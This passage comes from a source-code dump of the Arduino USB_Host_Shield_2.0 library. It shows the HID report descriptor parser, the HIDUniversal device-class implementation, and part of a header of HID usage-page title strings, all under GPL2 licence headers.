= itemSize; valParser.Initialize(&theBuffer); itemParseState = 2; case 2: if(!valParser.Parse(pp, pcntdn)) return enErrorIncomplete; itemParseState = 3; case 3: { uint8_t data = *((uint8_t*)varBuffer); switch(itemPrefix & (TYPE_MASK | TAG_MASK)) { case (TYPE_LOCAL | TAG_LOCAL_USAGE): if(pfUsage) { if(theBuffer.valueSize > 1) { uint16_t* ui16 = reinterpret_cast(varBuffer); pfUsage(*ui16); } else pfUsage(data); } break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE): rptSize = data; break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT): rptCount = data; break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID): rptId = data; break; case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN): useMin = data; break; case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX): useMax = data; break; case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE): SetUsagePage(data); break; case (TYPE_MAIN | TAG_MAIN_OUTPUT): case (TYPE_MAIN | TAG_MAIN_FEATURE): rptSize = 0; rptCount = 0; useMin = 0; useMax = 0; break; case (TYPE_MAIN | TAG_MAIN_INPUT): OnInputItem(data); totalSize += (uint16_t)rptSize * (uint16_t)rptCount; rptSize = 0; rptCount = 0; useMin = 0; useMax = 0; break; } // switch (**pp & (TYPE_MASK | TAG_MASK)) } } // switch (itemParseState) itemParseState = 0; return enErrorSuccess; } void ReportDescParser2::OnInputItem(uint8_t itm) { uint8_t byte_offset = (totalSize >> 3); // calculate offset to the next unhandled byte i = (int)(totalCount / 8); uint32_t tmp = (byte_offset << 3); uint8_t bit_offset = totalSize - tmp; // number of bits in the current byte already handled uint8_t *p = pBuf + byte_offset; // current byte pointer if(bit_offset) *p >>= bit_offset; uint8_t usage = useMin; bool print_usemin_usemax = ((useMin < useMax) && ((itm & 3) == 2) && pfUsage) ? true : false; uint8_t bits_of_byte = 8; // for each field in field array defined by rptCount for(uint8_t field = 0; field < rptCount; field++, usage++) { union { uint8_t bResult[4]; uint16_t wResult[2]; uint32_t dwResult; } result; result.dwResult = 0; uint8_t mask = 0; if(print_usemin_usemax) pfUsage(usage); // bits_left - number of bits in the field(array of fields, depending on Report Count) left to process // bits_of_byte - number of bits in current byte left to process // bits_to_copy - number of bits to copy to result buffer // for each bit in a field for(uint8_t bits_left = rptSize, bits_to_copy = 0; bits_left; bits_left -= bits_to_copy) { bits_to_copy = (bits_left > bits_of_byte) ? bits_of_byte : bits_left; result.dwResult <<= bits_to_copy; // Result buffer is shifted by the number of bits to be copied into it uint8_t val = *p; val >>= (8 - bits_of_byte); // Shift by the number of bits already processed mask = 0; for(uint8_t j = bits_to_copy; j; j--) { mask <<= 1; mask |= 1; } result.bResult[0] = (result.bResult[0] | (val & mask)); bits_of_byte -= bits_to_copy; if(bits_of_byte < 1) { bits_of_byte = 8; p++; } } PrintByteValue(result.dwResult); } E_Notify(PSTR("\r\n"), 0x80); } void UniversalReportParser::Parse(USBHID *hid, bool is_rpt_id __attribute__((unused)), uint8_t len, uint8_t *buf) { ReportDescParser2 prs(len, buf); uint8_t ret = hid->GetReportDescr(0, &prs); if(ret) ErrorMessage (PSTR("GetReportDescr-2"), ret); } ================================================ FILE: libraries/USB_Host_Shield_2.0/hidescriptorparser.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__HIDDESCRIPTORPARSER_H__) #define __HIDDESCRIPTORPARSER_H__ #include "usbhid.h" class ReportDescParserBase : public USBReadParser { public: typedef void (*UsagePageFunc)(uint16_t usage); static void PrintGenericDesktopPageUsage(uint16_t usage); static void PrintSimulationControlsPageUsage(uint16_t usage); static void PrintVRControlsPageUsage(uint16_t usage); static void PrintSportsControlsPageUsage(uint16_t usage); static void PrintGameControlsPageUsage(uint16_t usage); static void PrintGenericDeviceControlsPageUsage(uint16_t usage); static void PrintLEDPageUsage(uint16_t usage); static void PrintButtonPageUsage(uint16_t usage); static void PrintOrdinalPageUsage(uint16_t usage); static void PrintTelephonyPageUsage(uint16_t usage); static void PrintConsumerPageUsage(uint16_t usage); static void PrintDigitizerPageUsage(uint16_t usage); static void PrintAlphanumDisplayPageUsage(uint16_t usage); static void PrintMedicalInstrumentPageUsage(uint16_t usage); static void PrintValue(uint8_t *p, uint8_t len); static void PrintByteValue(uint8_t data); static void PrintItemTitle(uint8_t prefix); static const char * const usagePageTitles0[]; static const char * const usagePageTitles1[]; static const char * const genDesktopTitles0[]; static const char * const genDesktopTitles1[]; static const char * const genDesktopTitles2[]; static const char * const genDesktopTitles3[]; static const char * const genDesktopTitles4[]; static const char * const simuTitles0[]; static const char * const simuTitles1[]; static const char * const simuTitles2[]; static const char * const vrTitles0[]; static const char * const vrTitles1[]; static const char * const sportsCtrlTitles0[]; static const char * const sportsCtrlTitles1[]; static const char * const sportsCtrlTitles2[]; static const char * const gameTitles0[]; static const char * const gameTitles1[]; static const char * const genDevCtrlTitles[]; static const char * const ledTitles[]; static const char * const telTitles0[]; static const char * const telTitles1[]; static const char * const telTitles2[]; static const char * const telTitles3[]; static const char * const telTitles4[]; static const char * const telTitles5[]; static const char * const consTitles0[]; static const char * const consTitles1[]; static const char * const consTitles2[]; static const char * const consTitles3[]; static const char * const consTitles4[]; static const char * const consTitles5[]; static const char * const consTitles6[]; static const char * const consTitles7[]; static const char * const consTitles8[]; static const char * const consTitles9[]; static const char * const consTitlesA[]; static const char * const consTitlesB[]; static const char * const consTitlesC[]; static const char * const consTitlesD[]; static const char * const consTitlesE[]; static const char * const digitTitles0[]; static const char * const digitTitles1[]; static const char * const digitTitles2[]; static const char * const aplphanumTitles0[]; static const char * const aplphanumTitles1[]; static const char * const aplphanumTitles2[]; static const char * const medInstrTitles0[]; static const char * const medInstrTitles1[]; static const char * const medInstrTitles2[]; static const char * const medInstrTitles3[]; static const char * const medInstrTitles4[]; protected: static UsagePageFunc usagePageFunctions[]; MultiValueBuffer theBuffer; MultiByteValueParser valParser; ByteSkipper theSkipper; uint8_t varBuffer[sizeof (USB_CONFIGURATION_DESCRIPTOR)]; uint8_t itemParseState; // Item parser state variable uint8_t itemSize; // Item size uint8_t itemPrefix; // Item prefix (first byte) uint8_t rptSize; // Report Size uint8_t rptCount; // Report Count uint16_t totalSize; // Report size in bits // Method should be defined here if virtual. virtual uint8_t ParseItem(uint8_t **pp, uint16_t *pcntdn); UsagePageFunc pfUsage; static void PrintUsagePage(uint16_t page); void SetUsagePage(uint16_t page); public: ReportDescParserBase() : itemParseState(0), itemSize(0), itemPrefix(0), rptSize(0), rptCount(0), pfUsage(NULL) { theBuffer.pValue = varBuffer; valParser.Initialize(&theBuffer); theSkipper.Initialize(&theBuffer); }; void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset); enum { enErrorSuccess = 0 , enErrorIncomplete // value or record is partialy read in buffer , enErrorBufferTooSmall }; }; class ReportDescParser : public ReportDescParserBase { }; class ReportDescParser2 : public ReportDescParserBase { uint8_t rptId; // Report ID uint8_t useMin; // Usage Minimum uint8_t useMax; // Usage Maximum uint8_t fieldCount; // Number of field being currently processed void OnInputItem(uint8_t itm); // Method which is called every time Input item is found uint8_t *pBuf; // Report buffer pointer uint8_t bLen; // Report length protected: // Method should be defined here if virtual. virtual uint8_t ParseItem(uint8_t **pp, uint16_t *pcntdn); public: ReportDescParser2(uint16_t len, uint8_t *pbuf) : ReportDescParserBase(), rptId(0), useMin(0), useMax(0), fieldCount(0), pBuf(pbuf), bLen(len) { }; }; class UniversalReportParser : public HIDReportParser { public: // Method should be defined here if virtual. virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); }; #endif // __HIDDESCRIPTORPARSER_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hiduniversal.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "hiduniversal.h" HIDUniversal::HIDUniversal(USB *p) : USBHID(p), qNextPollTime(0), pollInterval(0), bPollEnable(false), bHasReportId(false) { Initialize(); if(pUsb) pUsb->RegisterDeviceClass(this); } uint16_t HIDUniversal::GetHidClassDescrLen(uint8_t type, uint8_t num) { for(uint8_t i = 0, n = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) { if(descrInfo[i].bDescrType == type) { if(n == num) return descrInfo[i].wDescriptorLength; n++; } } return 0; } void HIDUniversal::Initialize() { for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { rptParsers[i].rptId = 0; rptParsers[i].rptParser = NULL; } for(uint8_t i = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) { descrInfo[i].bDescrType = 0; descrInfo[i].wDescriptorLength = 0; } for(uint8_t i = 0; i < maxHidInterfaces; i++) { hidInterfaces[i].bmInterface = 0; hidInterfaces[i].bmProtocol = 0; for(uint8_t j = 0; j < maxEpPerInterface; j++) hidInterfaces[i].epIndex[j] = 0; } for(uint8_t i = 0; i < totalEndpoints; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } bNumEP = 1; bNumIface = 0; bConfNum = 0; pollInterval = 0; ZeroMemory(constBuffLen, prevBuf); } bool HIDUniversal::SetReportParser(uint8_t id, HIDReportParser *prs) { for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { if(rptParsers[i].rptId == 0 && rptParsers[i].rptParser == NULL) { rptParsers[i].rptId = id; rptParsers[i].rptParser = prs; return true; } } return false; } HIDReportParser* HIDUniversal::GetReportParser(uint8_t id) { if(!bHasReportId) return ((rptParsers[0].rptParser) ? rptParsers[0].rptParser : NULL); for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { if(rptParsers[i].rptId == id) return rptParsers[i].rptParser; } return NULL; } uint8_t HIDUniversal::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t len = 0; uint8_t num_of_conf; // number of configurations //uint8_t num_of_intf; // number of interfaces AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("HU Init\r\n"); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf); if(!rcode) len = (buf[0] > constBufSize) ? constBufSize : buf[0]; if(rcode) { // Restore p->epinfo p->epinfo = oldep_ptr; goto FailGetDevDescr; } // Restore p->epinfo p->epinfo = oldep_ptr; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } //delay(2); //per USB 2.0 sect.9.2.6.3 USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; if(len) rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf); if(rcode) goto FailGetDevDescr; VID = udd->idVendor; // Can be used by classes that inherits this class to check the VID and PID of the connected device PID = udd->idProduct; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { //HexDumper HexDump; ConfigDescParser confDescrParser(this); //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump); rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 2) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Cnf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; for(uint8_t i = 0; i < bNumIface; i++) { if(hidInterfaces[i].epIndex[epInterruptInIndex] == 0) continue; rcode = SetIdle(hidInterfaces[i].bmInterface, 0, 0); if(rcode && rcode != hrSTALL) goto FailSetIdle; } USBTRACE("HU configured\r\n"); OnInitSuccessful(); bPollEnable = true; return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailSetIdle: #ifdef DEBUG_USB_HOST USBTRACE("SetIdle:"); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } HIDUniversal::HIDInterface* HIDUniversal::FindInterface(uint8_t iface, uint8_t alt, uint8_t proto) { for(uint8_t i = 0; i < bNumIface && i < maxHidInterfaces; i++) if(hidInterfaces[i].bmInterface == iface && hidInterfaces[i].bmAltSet == alt && hidInterfaces[i].bmProtocol == proto) return hidInterfaces + i; return NULL; } void HIDUniversal::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) { // If the first configuration satisfies, the others are not concidered. if(bNumEP > 1 && conf != bConfNum) return; //ErrorMessage(PSTR("\r\nConf.Val"), conf); //ErrorMessage(PSTR("Iface Num"), iface); //ErrorMessage(PSTR("Alt.Set"), alt); bConfNum = conf; uint8_t index = 0; HIDInterface *piface = FindInterface(iface, alt, proto); // Fill in interface structure in case of new interface if(!piface) { piface = hidInterfaces + bNumIface; piface->bmInterface = iface; piface->bmAltSet = alt; piface->bmProtocol = proto; bNumIface++; } if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT) index = (pep->bEndpointAddress & 0x80) == 0x80 ? epInterruptInIndex : epInterruptOutIndex; if(index) { // Fill in the endpoint info structure epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[bNumEP].bmSndToggle = 0; epInfo[bNumEP].bmRcvToggle = 0; epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT; // Fill in the endpoint index list piface->epIndex[index] = bNumEP; //(pep->bEndpointAddress & 0x0F); if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints pollInterval = pep->bInterval; bNumEP++; } //PrintEndpointDescriptor(pep); } uint8_t HIDUniversal::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bNumEP = 1; bAddress = 0; qNextPollTime = 0; bPollEnable = false; return 0; } bool HIDUniversal::BuffersIdentical(uint8_t len, uint8_t *buf1, uint8_t *buf2) { for(uint8_t i = 0; i < len; i++) if(buf1[i] != buf2[i]) return false; return true; } void HIDUniversal::ZeroMemory(uint8_t len, uint8_t *buf) { for(uint8_t i = 0; i < len; i++) buf[i] = 0; } void HIDUniversal::SaveBuffer(uint8_t len, uint8_t *src, uint8_t *dest) { for(uint8_t i = 0; i < len; i++) dest[i] = src[i]; } uint8_t HIDUniversal::Poll() { uint8_t rcode = 0; if(!bPollEnable) return 0; if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { qNextPollTime = (uint32_t)millis() + pollInterval; uint8_t buf[constBuffLen]; for(uint8_t i = 0; i < bNumIface; i++) { uint8_t index = hidInterfaces[i].epIndex[epInterruptInIndex]; uint16_t read = (uint16_t)epInfo[index].maxPktSize; ZeroMemory(constBuffLen, buf); uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[index].epAddr, &read, buf); if(rcode) { if(rcode != hrNAK) USBTRACE3("(hiduniversal.h) Poll:", rcode, 0x81); return rcode; } if(read > constBuffLen) read = constBuffLen; bool identical = BuffersIdentical(read, buf, prevBuf); SaveBuffer(read, buf, prevBuf); if(identical) return 0; #if 0 Notify(PSTR("\r\nBuf: "), 0x80); for(uint8_t i = 0; i < read; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif ParseHIDData(this, bHasReportId, (uint8_t)read, buf); HIDReportParser *prs = GetReportParser(((bHasReportId) ? *buf : 0)); if(prs) prs->Parse(this, bHasReportId, (uint8_t)read, buf); } } return rcode; } // Send a report to interrupt out endpoint. This is NOT SetReport() request! uint8_t HIDUniversal::SndRpt(uint16_t nbytes, uint8_t *dataptr) { return pUsb->outTransfer(bAddress, epInfo[epInterruptOutIndex].epAddr, nbytes, dataptr); } ================================================ FILE: libraries/USB_Host_Shield_2.0/hiduniversal.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__HIDUNIVERSAL_H__) #define __HIDUNIVERSAL_H__ #include "usbhid.h" //#include "hidescriptorparser.h" class HIDUniversal : public USBHID { struct ReportParser { uint8_t rptId; HIDReportParser *rptParser; } rptParsers[MAX_REPORT_PARSERS]; // HID class specific descriptor type and length info obtained from HID descriptor HID_CLASS_DESCRIPTOR_LEN_AND_TYPE descrInfo[HID_MAX_HID_CLASS_DESCRIPTORS]; // Returns HID class specific descriptor length by its type and order number uint16_t GetHidClassDescrLen(uint8_t type, uint8_t num); struct HIDInterface { struct { uint8_t bmInterface : 3; uint8_t bmAltSet : 3; uint8_t bmProtocol : 2; }; uint8_t epIndex[maxEpPerInterface]; }; uint8_t bConfNum; // configuration number uint8_t bNumIface; // number of interfaces in the configuration uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time uint8_t pollInterval; bool bPollEnable; // poll enable flag static const uint16_t constBuffLen = 64; // event buffer length uint8_t prevBuf[constBuffLen]; // previous event buffer void Initialize(); HIDInterface* FindInterface(uint8_t iface, uint8_t alt, uint8_t proto); void ZeroMemory(uint8_t len, uint8_t *buf); bool BuffersIdentical(uint8_t len, uint8_t *buf1, uint8_t *buf2); void SaveBuffer(uint8_t len, uint8_t *src, uint8_t *dest); protected: EpInfo epInfo[totalEndpoints]; HIDInterface hidInterfaces[maxHidInterfaces]; bool bHasReportId; uint16_t PID, VID; // PID and VID of connected device // HID implementation HIDReportParser* GetReportParser(uint8_t id); virtual uint8_t OnInitSuccessful() { return 0; }; virtual void ParseHIDData(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) { return; }; public: HIDUniversal(USB *p); // HID implementation bool SetReportParser(uint8_t id, HIDReportParser *prs); // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); virtual uint8_t GetAddress() { return bAddress; }; virtual bool isReady() { return bPollEnable; }; // UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); // Send report - do not mix with SetReport()! uint8_t SndRpt(uint16_t nbytes, uint8_t *dataptr); }; #endif // __HIDUNIVERSAL_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hidusagestr.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined( __HIDUSAGESTR_H__) #define __HIDUSAGESTR_H__ #include "Usb.h" const char pstrSpace [] PROGMEM = " "; const char pstrCRLF [] PROGMEM = "\r\n"; const char pstrSingleTab [] PROGMEM = "\t"; const char pstrDoubleTab [] PROGMEM = "\t\t"; const char pstrTripleTab [] PROGMEM = "\t\t\t"; // Usage Page String Titles const char pstrUsagePageUndefined [] PROGMEM = "Undef"; const char pstrUsagePageGenericDesktopControls [] PROGMEM = "Gen Desktop Ctrls"; const char pstrUsagePageSimulationControls [] PROGMEM = "Simu Ctrls"; const char pstrUsagePageVRControls [] PROGMEM = "VR Ctrls"; const char pstrUsagePageSportControls [] PROGMEM = "Sport Ctrls"; const char pstrUsagePageGameControls [] PROGMEM = "Game Ctrls"; const char pstrUsagePageGenericDeviceControls [] PROGMEM = "Gen Dev Ctrls"; const char pstrUsagePageKeyboardKeypad [] PROGMEM = "Kbrd/Keypad"; const char pstrUsagePageLEDs [] PROGMEM = "LEDs"; const char pstrUsagePageButton [] PROGMEM = "Button"; const char pstrUsagePageOrdinal [] PROGMEM = "Ordinal"; const char pstrUsagePageTelephone [] PROGMEM = "Tel"; const char pstrUsagePageConsumer [] PROGMEM = "Consumer"; const char pstrUsagePageDigitizer [] PROGMEM = "Digitizer"; const char pstrUsagePagePID [] PROGMEM = "PID"; const char pstrUsagePageUnicode [] PROGMEM = "Unicode"; const char pstrUsagePageAlphaNumericDisplay [] PROGMEM = "Alpha Num Disp"; const char pstrUsagePageMedicalInstruments [] PROGMEM = "Medical Instr"; const char pstrUsagePageMonitor [] PROGMEM = "Monitor"; const char pstrUsagePagePower [] PROGMEM = "Power"; const char pstrUsagePageBarCodeScanner [] PROGMEM = "Bar Code Scan"; const char pstrUsagePageScale [] PROGMEM = "Scale"; const char pstrUsagePageMSRDevices [] PROGMEM = "Magn Stripe Read Dev"; const char pstrUsagePagePointOfSale [] PROGMEM = "POS"; const char pstrUsagePageCameraControl [] PROGMEM = "Cam Ctrl"; const char pstrUsagePageArcade [] PROGMEM = "Arcade"; const char pstrUsagePageReserved [] PROGMEM = "Reserved"; const char pstrUsagePageVendorDefined [] PROGMEM = "Vendor Def"; // Generic Desktop Controls Page const char pstrUsagePointer [] PROGMEM = "Pointer"; const char pstrUsageMouse [] PROGMEM = "Mouse"; const char pstrUsageJoystick [] PROGMEM = "Joystick"; const char pstrUsageGamePad [] PROGMEM = "Game Pad"; const char pstrUsageKeyboard [] PROGMEM = "Kbrd"; const char pstrUsageKeypad [] PROGMEM = "Keypad"; const char pstrUsageMultiAxisController [] PROGMEM = "Multi-axis Ctrl"; const char pstrUsageTabletPCSystemControls [] PROGMEM = "Tablet PC Sys Ctrls"; const char pstrUsageX [] PROGMEM = "X"; const char pstrUsageY [] PROGMEM = "Y"; const char pstrUsageZ [] PROGMEM = "Z"; const char pstrUsageRx [] PROGMEM = "Rx"; const char pstrUsageRy [] PROGMEM = "Ry"; const char pstrUsageRz [] PROGMEM = "Rz"; const char pstrUsageSlider [] PROGMEM = "Slider"; const char pstrUsageDial [] PROGMEM = "Dial"; const char pstrUsageWheel [] PROGMEM = "Wheel"; const char pstrUsageHatSwitch [] PROGMEM = "Hat Switch"; const char pstrUsageCountedBuffer [] PROGMEM = "Counted Buf"; const char pstrUsageByteCount [] PROGMEM = "Byte Count"; const char pstrUsageMotionWakeup [] PROGMEM = "Motion Wakeup"; const char pstrUsageStart [] PROGMEM = "Start"; const char pstrUsageSelect [] PROGMEM = "Sel"; const char pstrUsageVx [] PROGMEM = "Vx"; const char pstrUsageVy [] PROGMEM = "Vy"; const char pstrUsageVz [] PROGMEM = "Vz"; const char pstrUsageVbrx [] PROGMEM = "Vbrx"; const char pstrUsageVbry [] PROGMEM = "Vbry"; const char pstrUsageVbrz [] PROGMEM = "Vbrz"; const char pstrUsageVno [] PROGMEM = "Vno"; const char pstrUsageFeatureNotification [] PROGMEM = "Feature Notif"; const char pstrUsageResolutionMultiplier [] PROGMEM = "Res Mult"; const char pstrUsageSystemControl [] PROGMEM = "Sys Ctrl"; const char pstrUsageSystemPowerDown [] PROGMEM = "Sys Pwr Down"; const char pstrUsageSystemSleep [] PROGMEM = "Sys Sleep"; const char pstrUsageSystemWakeup [] PROGMEM = "Sys Wakeup"; const char pstrUsageSystemContextMenu [] PROGMEM = "Sys Context Menu"; const char pstrUsageSystemMainMenu [] PROGMEM = "Sys Main Menu"; const char pstrUsageSystemAppMenu [] PROGMEM = "Sys App Menu"; const char pstrUsageSystemMenuHelp [] PROGMEM = "Sys Menu Help"; const char pstrUsageSystemMenuExit [] PROGMEM = "Sys Menu Exit"; const char pstrUsageSystemMenuSelect [] PROGMEM = "Sys Menu Select"; const char pstrUsageSystemMenuRight [] PROGMEM = "Sys Menu Right"; const char pstrUsageSystemMenuLeft [] PROGMEM = "Sys Menu Left"; const char pstrUsageSystemMenuUp [] PROGMEM = "Sys Menu Up"; const char pstrUsageSystemMenuDown [] PROGMEM = "Sys Menu Down"; const char pstrUsageSystemColdRestart [] PROGMEM = "Sys Cold Restart"; const char pstrUsageSystemWarmRestart [] PROGMEM = "Sys Warm Restart"; const char pstrUsageDPadUp [] PROGMEM = "D-pad Up"; const char pstrUsageDPadDown [] PROGMEM = "D-pad Down"; const char pstrUsageDPadRight [] PROGMEM = "D-pad Right"; const char pstrUsageDPadLeft [] PROGMEM = "D-pad Left"; const char pstrUsageSystemDock [] PROGMEM = "Sys Dock"; const char pstrUsageSystemUndock [] PROGMEM = "Sys Undock"; const char pstrUsageSystemSetup [] PROGMEM = "Sys Setup"; const char pstrUsageSystemBreak [] PROGMEM = "Sys Break"; const char pstrUsageSystemDebuggerBreak [] PROGMEM = "Sys Dbg Brk"; const char pstrUsageApplicationBreak [] PROGMEM = "App Break"; const char pstrUsageApplicationDebuggerBreak [] PROGMEM = "App Dbg Brk"; const char pstrUsageSystemSpeakerMute [] PROGMEM = "Sys Spk Mute"; const char pstrUsageSystemHibernate [] PROGMEM = "Sys Hiber"; const char pstrUsageSystemDisplayInvert [] PROGMEM = "Sys Disp Inv"; const char pstrUsageSystemDisplayInternal [] PROGMEM = "Sys Disp Int"; const char pstrUsageSystemDisplayExternal [] PROGMEM = "Sys Disp Ext"; const char pstrUsageSystemDisplayBoth [] PROGMEM = "Sys Disp Both"; const char pstrUsageSystemDisplayDual [] PROGMEM = "Sys Disp Dual"; const char pstrUsageSystemDisplayToggleIntExt [] PROGMEM = "Sys Disp Tgl Int/Ext"; const char pstrUsageSystemDisplaySwapPriSec [] PROGMEM = "Sys Disp Swap Pri/Sec"; const char pstrUsageSystemDisplayLCDAutoscale [] PROGMEM = "Sys Disp LCD Autoscale"; // Simulation Controls Page const char pstrUsageFlightSimulationDevice [] PROGMEM = "Flight Simu Dev"; const char pstrUsageAutomobileSimulationDevice [] PROGMEM = "Auto Simu Dev"; const char pstrUsageTankSimulationDevice [] PROGMEM = "Tank Simu Dev"; const char pstrUsageSpaceshipSimulationDevice [] PROGMEM = "Space Simu Dev"; const char pstrUsageSubmarineSimulationDevice [] PROGMEM = "Subm Simu Dev"; const char pstrUsageSailingSimulationDevice [] PROGMEM = "Sail Simu Dev"; const char pstrUsageMotocicleSimulationDevice [] PROGMEM = "Moto Simu Dev"; const char pstrUsageSportsSimulationDevice [] PROGMEM = "Sport Simu Dev"; const char pstrUsageAirplaneSimulationDevice [] PROGMEM = "Airp Simu Dev"; const char pstrUsageHelicopterSimulationDevice [] PROGMEM = "Heli Simu Dev"; const char pstrUsageMagicCarpetSimulationDevice [] PROGMEM = "Magic Carpet Simu Dev"; const char pstrUsageBicycleSimulationDevice [] PROGMEM = "Bike Simu Dev"; const char pstrUsageFlightControlStick [] PROGMEM = "Flight Ctrl Stick"; const char pstrUsageFlightStick [] PROGMEM = "Flight Stick"; const char pstrUsageCyclicControl [] PROGMEM = "Cyclic Ctrl"; const char pstrUsageCyclicTrim [] PROGMEM = "Cyclic Trim"; const char pstrUsageFlightYoke [] PROGMEM = "Flight Yoke"; const 